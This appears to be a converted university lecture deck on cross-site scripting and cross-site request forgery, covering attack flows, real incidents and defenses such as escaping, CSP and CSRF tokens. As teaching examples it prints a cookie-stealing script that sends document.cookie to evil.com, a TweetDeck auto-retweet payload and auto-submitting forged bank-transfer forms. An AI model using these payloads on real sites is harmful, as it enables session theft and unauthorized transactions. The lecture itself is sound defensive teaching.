XSS and CSRF

Nov 6, 2018
Exam

- Mean: 156 (82%): GREAT!
- Stddev 22, max 187 - 98%.
Scribe: Wen Zhang
Presenter: Brandon Lin
You Can Apparently Leave a Poop Emoji—Or Anything Else You Want—on Trump’s Website

By Jordan Weissmann

Trump’s site hacked y ... apparently XSS!!!!
You could insert anything you wanted in the headlines by typing it into the URL – a form of reflected XSS.

And https://www.donaldjtrump.com/press-releases/archive/trump%20is%20bad%20at%20internet gets you:
## Top web vulnerabilities

### OWASP Top 10 – 2010 (Previous)

<table>
<thead>
<tr>
<th>A1</th>
<th>Injection</th>
</tr>
</thead>
<tbody>
<tr>
<td>A3</td>
<td>Broken Authentication and Session Management</td>
</tr>
<tr>
<td>A2</td>
<td>Cross-Site Scripting (XSS)</td>
</tr>
<tr>
<td>A4</td>
<td>Insecure Direct Object References</td>
</tr>
<tr>
<td>A6</td>
<td>Security Misconfiguration</td>
</tr>
<tr>
<td>A7</td>
<td>Insecure Cryptographic Storage – Merged with A9</td>
</tr>
<tr>
<td>A8</td>
<td>Failure to Restrict URL Access – Broadened into</td>
</tr>
<tr>
<td>A5</td>
<td>Cross-Site Request Forgery (CSRF)</td>
</tr>
<tr>
<td></td>
<td>&lt;buried in A6: Security Misconfiguration&gt;</td>
</tr>
</tbody>
</table>

### OWASP Top 10 – 2013 (New)

<table>
<thead>
<tr>
<th>A1</th>
<th>Injection</th>
</tr>
</thead>
<tbody>
<tr>
<td>A2</td>
<td>Broken Authentication and Session Management</td>
</tr>
<tr>
<td>A3</td>
<td>Cross-Site Scripting (XSS)</td>
</tr>
<tr>
<td>A4</td>
<td>Insecure Direct Object References</td>
</tr>
<tr>
<td>A5</td>
<td>Security Misconfiguration</td>
</tr>
<tr>
<td>A6</td>
<td>Sensitive Data Exposure</td>
</tr>
<tr>
<td>A7</td>
<td>Missing Function Level Access Control</td>
</tr>
<tr>
<td>A8</td>
<td>Cross-Site Request Forgery (CSRF)</td>
</tr>
<tr>
<td>A9</td>
<td>Using Known Vulnerable Components</td>
</tr>
</tbody>
</table>
Cross-site scripting attack (XSS)

- Attacker injects a malicious script into the webpage viewed by a victim user
  - Script runs in user’s browser with access to page’s data

- The same-origin policy does not prevent XSS
Two main types of XSS

- **Stored XSS**: attacker leaves Javascript lying around on benign web service for victim to load
- **Reflected XSS**: attacker gets user to click on specially-crafted URL with script in it, web service reflects it back
Stored (or persistent) XSS

- The attacker manages to store a **malicious script** at the web server, e.g., at **bank.com**
- The **server** later unwittingly sends **script** to a victim’s browser
- Browser runs **script** in the same origin as the **bank.com** server
Demo + fix
Stored XSS (Cross-Site Scripting)

Attack Browser/Server

evil.com
Stored XSS (Cross-Site Scripting)

1. Inject malicious script

2. Server Patsy/Victim

Attack Browser/Server

evil.com

bank.com
Stored XSS (Cross-Site Scripting)

1. Attack Browser/Server
   evil.com
   
   Inject malicious script
   
   Server Patsy/Victim
   bank.com
   
   Stores the script!
Stored XSS (Cross-Site Scripting)

1. Inject malicious script from evil.com

2. User Victim requests content

Server Patsy/Victim

Stores the script!

Bank.com
Stored XSS (Cross-Site Scripting)

1. Inject malicious script
2. request content
3. receive malicious script

Attack Browser/Server

Server Patsy/Victim

Stores the script!

User Victim

bank.com

evil.com
Stored XSS (Cross-Site Scripting)

1. Inject malicious script

2. request content

3. receive malicious script

4. execute script embedded in input as though server meant us to run it

Attack Browser/Server

Server Patsy/Victim

Stores the script!

evil.com

bank.com

User Victim
Stored XSS (Cross-Site Scripting)

1. Inject malicious script

2. Request content

3. Receive malicious script

4. Execute script embedded in input as though server meant us to run it

5. Perform attacker action

Stores the script!
Stored XSS (Cross-Site Scripting)

1. Inject malicious script
2. Request content
3. Receive malicious script
4. Execute script embedded in input as though server meant us to run it
5. Perform attacker action

E.g., GET http://bank.com/sendmoney?to=DrEvil&amt=100000

Server Patsy/Victim

Attack Browser/Server
Stored XSS (Cross-Site Scripting)

And/Or:

1. Inject malicious script

2. Request content

3. Receive malicious script

4. Execute script embedded in input as though server meant us to run it

5. Perform attacker action

6. Steal valuable data

Attack Browser/Server

Server Patsy/Victim

Stores the script!

User Victim

bank.com

evil.com
Stored XSS (Cross-Site Scripting)

And/Or:

E.g., GET `http://evil.com/steal/document.cookie`

User Victim

Attack Browser/Server

Server Patsy/Victim

Stores the script!

execute script embedded in input as though server meant us to run it

request content

receive malicious script

perform attacker action

leak valuable data

1. evil.com

2. request content

3. receive malicious script

4. perform attacker action

5. execute script

6. leak valuable data
Stored XSS (Cross-Site Scripting)

1. Inject malicious script
2. Request content
3. Receive malicious script
4. Execute script embedded in input as though server meant us to run it
5. Perform attacker action
6. Leak valuable data

(A "stored" XSS attack)
XSS subverts the same origin policy

- Attack happens **within the same origin**
- Attacker **tricks** a server (e.g., bank.com) to send malicious script ot users
- User visits to bank.com

Malicious script has origin of bank.com so it is permitted to access the resources on bank.com
MySpace.com  (Samy worm)

- Users can post HTML on their pages
  - MySpace.com ensures HTML contains no `<script>`, `<body>`, `onclick`, `<a href=javascript://>`
  - ... but can do Javascript within CSS tags:
    `<div style="background:url(‘javascript:alert(1)’)">`

- With careful Javascript hacking, Samy worm infects anyone who visits an infected MySpace page
  - ... and adds Samy as a friend.
  - Samy had millions of friends within 24 hours.

http://namb.la/popular/tech.html
Twitter XSS vulnerability

User figured out how to send a tweet that would automatically be retweeted by all followers using vulnerable TweetDeck apps.

```html
<script class="xss">$('xss').parents().eq(1).find('a').eq(1).click();$('a[data-action=retweet]').click();alert('XSS in Tweetdeck')</script>
```
Stored XSS using images

Suppose pic.jpg on web server contains HTML!

- request for http://site.com/pic.jpg results in:
  HTTP/1.1  200 OK  
  ...  
  Content-Type:  image/jpeg  
  <html>  fooled ya  </html>

- IE will render this as HTML  (despite Content-Type)

- Consider photo sharing sites that support image uploads
  - What if attacker uploads an “image” that is a script?
Reflected XSS

- The attacker gets the victim user to visit a URL for bank.com that embeds a malicious Javascript or malicious content.
- The server echoes it back to the victim user in its response.
- Victim’s browser executes the script within the same origin as bank.com.
Reflected XSS (Cross-Site Scripting)

Victim client
Reflected XSS (Cross-Site Scripting)

1. Visit web site

Victim client

Attack Server
evil.com
Reflected XSS (Cross-Site Scripting)

1. visit web site
2. receive malicious page

Victim client

Attack Server

evil.com
Reflected XSS (Cross-Site Scripting)

1. Visit web site
2. Receive malicious page
3. Click on link

Exact URL under attacker’s control

Server Patsy/Victim

Attack Server

Victim client

bank.com

evil.com
Reflected XSS (Cross-Site Scripting)

1. Visit web site
2. Receive malicious page
3. Click on link
4. Echo user input

Victim client

Attack Server
- evil.com

Server Patsy/Victim
- bank.com
Reflected XSS (Cross-Site Scripting)

1. Visit web site
2. Receive malicious page
3. Click on link
4. Echo user input
5. Execute script embedded in input as though server meant us to run it
Reflected XSS (Cross-Site Scripting)

1. Visit web site
2. Receive malicious page
3. Click on link
4. Echo user input
5. Execute script embedded in input as though server meant us to run it

Victim client

Attack Server

Server Patsy/Victim

bank.com

evil.com
Reflected XSS (Cross-Site Scripting)

And/Or:

1. Visit web site
2. Receive malicious page
3. Click on link
4. Echo user input
5. Execute script embedded in input as though server meant us to run it
6. Send valuable data

Victim client

Server Patsy/Victim

Attack Server

evil.com

bank.com
Reflected XSS (Cross-Site Scripting)

1. Visit web site
2. Receive malicious page
3. Click on link
4. Echo user input
5. Execute script embedded in input as though server meant us to run it
6. Perform attacker action
7. Send valuable data

("Reflected" XSS attack)
Example of How Reflected XSS Can Come About

- User input is echoed into HTML response.
- *Example*: search field
  - `search.php` responds with
    ```html
    <HTML>  <TITLE> Search Results </TITLE>  
    <BODY>
    Results for $term :
    
    . . .
    </BODY>  </HTML>
    ```

How does an attacker who gets you to visit `evil.com` exploit this?
Injection Via Script-in-URL

Consider this link on evil.com: (properly URL encoded)

```
    <script> window.open(
        "http://evil.com/?cookie = " +
        document.cookie ) </script>
```

**What if user clicks on this link?**

1) Browser goes to bank.com/search.php?

2) bank.com returns

```
<HTML> Results for <script> ... </script> ...
```

3) Browser **executes** script *in same origin* as bank.com

    Sends to evil.com the cookie for bank.com
Attacks contacted users via email and fooled them into accessing a particular URL hosted on the legitimate PayPal website.

Injected code redirected PayPal visitors to a page warning users their accounts had been compromised.

Victims were then redirected to a phishing site and prompted to enter sensitive financial data.

You could insert anything you wanted in the headlines by typing it into the URL – a form of reflected XSS

And https://www.donaldjtrump.com/press-releases/archive/trump%20is%20bad%20at%20internet gets you:

![Trump is Bad at Internet](https://www.donaldjtrump.com/press-releases/archive/trump%20is%20bad%20at%20internet)
Reflected XSS: Summary

- **Target:** user with Javascript-enabled *browser* who visits a vulnerable *web service* that will include parts of URLs it receives in the web page output it generates

- **Attacker goal:** run script in user’s browser with same access as provided to server’s regular scripts (subvert SOP = *Same Origin Policy*)

- **Attacker tools:** ability to get user to click on a specially-crafted URL; optionally, a server used to receive stolen information such as cookies

- **Key trick:** server fails to ensure that output it generates does not contain embedded scripts other than its own
Preventing XSS

Web server must perform:

- **Input validation**: check that inputs are of expected form (whitelisting)
  - Avoid blacklisting; it doesn’t work well
- **Output escaping**: escape dynamic data before inserting it into HTML
Output escaping

- HTML parser looks for special characters: < > & ” ’
  - `<html>`, `<div>`, `<script>`
  - such sequences trigger actions, e.g., running script
- Ideally, user-provided input string should not contain special chars
- If one wants to display these special characters in a webpage without the parser triggering action, one has to escape the parser

<table>
<thead>
<tr>
<th>Character</th>
<th>Escape sequence</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>&lt;</code></td>
<td><code>&amp;lt;</code></td>
</tr>
<tr>
<td><code>&gt;</code></td>
<td><code>&amp;gt;</code></td>
</tr>
<tr>
<td><code>&amp;</code></td>
<td><code>&amp;amp;</code></td>
</tr>
<tr>
<td><code>&quot;</code></td>
<td><code>&amp;quot;</code></td>
</tr>
<tr>
<td><code>\</code></td>
<td><code>&amp;#39;</code></td>
</tr>
</tbody>
</table>
Direct vs escaped embedding

Attacker input:

```
<script>
...
</script>
```

direct

Browser rendering

```
<html>
Comment:
  <script>
   ...
  </script>
</html>
```

Attack! Script runs!

escaped

Browser rendering

```
<html>
Comment:
  &lt;script&gt;
   ...
  &lt;/script&gt;
</html>
```

```
Comment:
  &lt;/script&gt;
</html>
```

Script does not run but gets displayed!
Escape user input!

""'>""""<script>alert(/XSS/)</script>"""

FORGOT, IT GOES ON THE PICTURE
XSS prevention (cont’d): Content-security policy (CSP)

- Have web server supply a whitelist of the scripts that are allowed to appear on a page
  - Web developer specifies the domains the browser should allow for executable scripts, disallowing all other scripts (including inline scripts)
- Can opt to globally disallow script execution
XSS Summary

- XSS: Attacker injects a malicious script into the webpage viewed by a victim user
  - Script runs in user’s browser with access to page’s data
  - Bypasses the same-origin policy
- Fixes: validate/escape input/output, use CSP
CSRF
Cross Site Request Forgery (CSRF)
# Top web vulnerabilities

## OWASP Top 10 – 2010 (Previous)

<p>| | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>A1</td>
<td>Injection</td>
</tr>
<tr>
<td>A3</td>
<td>Broken Authentication and Session Management</td>
</tr>
<tr>
<td>A2</td>
<td>Cross-Site Scripting (XSS)</td>
</tr>
<tr>
<td>A4</td>
<td>Insecure Direct Object References</td>
</tr>
<tr>
<td>A6</td>
<td>Security Misconfiguration</td>
</tr>
<tr>
<td>A7</td>
<td>Insecure Cryptographic Storage – Merged with A9</td>
</tr>
<tr>
<td>A8</td>
<td>Failure to Restrict URL Access – Broadened into</td>
</tr>
<tr>
<td><strong>A5</strong></td>
<td>Cross-Site Request Forgery (CSRF)</td>
</tr>
<tr>
<td>&lt;buried in A6: Security Misconfiguration&gt;</td>
<td></td>
</tr>
</tbody>
</table>

## OWASP Top 10 – 2013 (New)

<p>| | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>A1</td>
<td>Injection</td>
</tr>
<tr>
<td>A2</td>
<td>Broken Authentication and Session Management</td>
</tr>
<tr>
<td>A3</td>
<td>Cross-Site Scripting (XSS)</td>
</tr>
<tr>
<td>A4</td>
<td>Insecure Direct Object References</td>
</tr>
<tr>
<td>A5</td>
<td>Security Misconfiguration</td>
</tr>
<tr>
<td>A6</td>
<td>Sensitive Data Exposure</td>
</tr>
<tr>
<td>A7</td>
<td>Missing Function Level Access Control</td>
</tr>
<tr>
<td><strong>A8</strong></td>
<td>Cross-Site Request Forgery (CSRF)</td>
</tr>
<tr>
<td>A9</td>
<td>Using Known Vulnerable Components</td>
</tr>
</tbody>
</table>
HTML Forms

Allow a user to provide some data which gets sent with an HTTP POST request to a server

<form action="bank.com/action.php">
First name: <input type="text" name="firstname">

Last name: <input type="text" name="lastname">

<input type="submit" value="Submit"></form>

When filling in Alice and Smith, and clicking submit, the browser issues HTTP POST request bank.com/action.php?firstname=Alice&lastname=Smith

As always, the browser attaches relevant cookies
Recall: session using cookies

Browser

POST/login.cgi

Set-cookie: authenticator

GET...
Cookie: authenticator

response

Server
Basic picture

User Victim

cookie for bank.com

Server Victim bank.com

Attack Server

1. establish session
2. visit server
3. receive malicious page containing URL to bank.com with bad actions
4. send forged request (w/ cookie)

What can go bad? URL contains transaction action, bank checks cookie
Cross Site Request Forgery (CSRF)

**Example:**
- User logs in to bank.com
  - Session cookie remains in browser state
- User visits **malicious site** containing:
  ```html
  <form name=F action=http://bank.com/BillPay.php>
  <input name=recipient value=badguy> ...
  <script> document.F.submit(); </script>
  ```
- Browser sends user auth cookie with request
  - Transaction will be fulfilled

**Problem:**
- cookie auth is insufficient when side effects occur
Form post with cookie

GET /blog HTTP/1.1
Form post with cookie

<form action=https://www.bank.com/transfer method=POST target=invisibleframe>
  <input name=recipient value=attacker>
  <input name=amount value=$100>
</form>
<script>document.forms[0].submit()</script>

POST /transfer HTTP/1.1
Referer: http://www.attacker.com/blog
Recipient=attacker&amount=$100
Cookie: SessionID=523FA4cd2E

HTTP/1.1 200 OK
Transfer complete!

User credentials
An attacker could
• add videos to a user’s "Favorites,"
• add himself to a user’s "Friend" or "Family" list,
• send arbitrary messages on the user’s behalf,
• flagged videos as inappropriate,
• automatically shared a video with a user’s contacts,
  subscribed a user to a "channel" (a set of videos
  published by one person or group), and
• added videos to a user’s "QuickList" (a list of videos
  a user intends to watch at a later point).
Popular websites fall victim to CSRF exploits
Defenses
CSRF Defenses

- Secret Validation Token
- Referer Validation
- Others (e.g., custom HTTP Header)
Secret Token Validation

The server requests a secret token for every action, the user’s browser obtained this token if the user visited the site and browsed to that action, instead of directly sending an action; attacker won’t have the token

1. goodsite.com server includes a secret token into the webpage (e.g., in forms as a hidden field)
2. Requests to goodsite.com include the secret
3. goodsite.com server checks that the token embedded in the webpage is the expected one; reject request if not

Can the token be?

- 123456
- Dateofbirth

Validation token must be hard to guess by the attacker
How token is used

- The server stores state that binds the user's CSRF token to the user's session id
- Embeds CSRF token in every form
- On every request the server validates that the supplied CSRF token is associated with the user's session id
- Disadvantage is that the server needs to maintain a large state table to validate the tokens.
Other CRSF protection: Referer Validation

- When the browser issues an HTTP request, it includes a referer header that indicates which URL initiated the request.
- This information in the Referer header could be used to distinguish between same site request and cross site request.
Referer Validation

Facebook Login

For your security, never enter your Facebook password on sites not located on Facebook.com.

Email:  
Password:  

Remember me

Login or Sign up for Facebook

Forgot your password?
Referer Validation Defense

- HTTP Referer header
  - Referer: http://www.facebook.com/
  - Referer: http://www.attacker.com/evil.html
  - Referer:
    - Strict policy disallows (secure, less usable)
    - Lenient policy allows (less secure, more usable)
Privacy Issues with Referer header

- The referer contains sensitive information that impinges on the privacy.
- The referer header reveals contents of the search query that lead to visit a website.
- Some organizations are concerned that confidential information about their corporate intranet might leak to external websites via Referer header.
Referer Privacy Problems

- Referer may leak privacy-sensitive information
  

- Common sources of blocking:
  - Network stripping by the organization
  - Network stripping by local machine
  - Stripped by browser for HTTPS -> HTTP transitions
  - User preference in browser

Hence, such block might help attackers in the lenient policy case
Custom HTTP Headers

- Browsers prevent sites from sending custom HTTP headers to another site but allow sites to send custom HTTP headers to themselves.
- Cookie value is not actually required to prevent CSRF attacks, the mere presence of the header is sufficient.
- To use this scheme as a CSRF Defense, a site must issue all state modifying requests using XMLHttpRequest, attach the header and reject all requests that do not accompany the header.
Custom Header Defense

- XMLHttpRequest is for same-origin requests
  - Can use setRequestHeader within origin
- Limitations on data export format
  - No setRequestHeader equivalent
  - XHR2 has a whitelist for cross-site requests
- Issue POST requests via AJAX:

- Doesn't work across domains

X-Requested-By: XMLHttpRequest
Summary: sessions and CSRF

- Cookies add state to HTTP
  - Cookies are used for session management
  - They are attached by the browser automatically to HTTP requests
- CSRF attacks execute request on benign site because cookie is sent automatically
- Defenses for CSRF:
  - embed unpredicatable token and check it later
  - check referer header
Questions?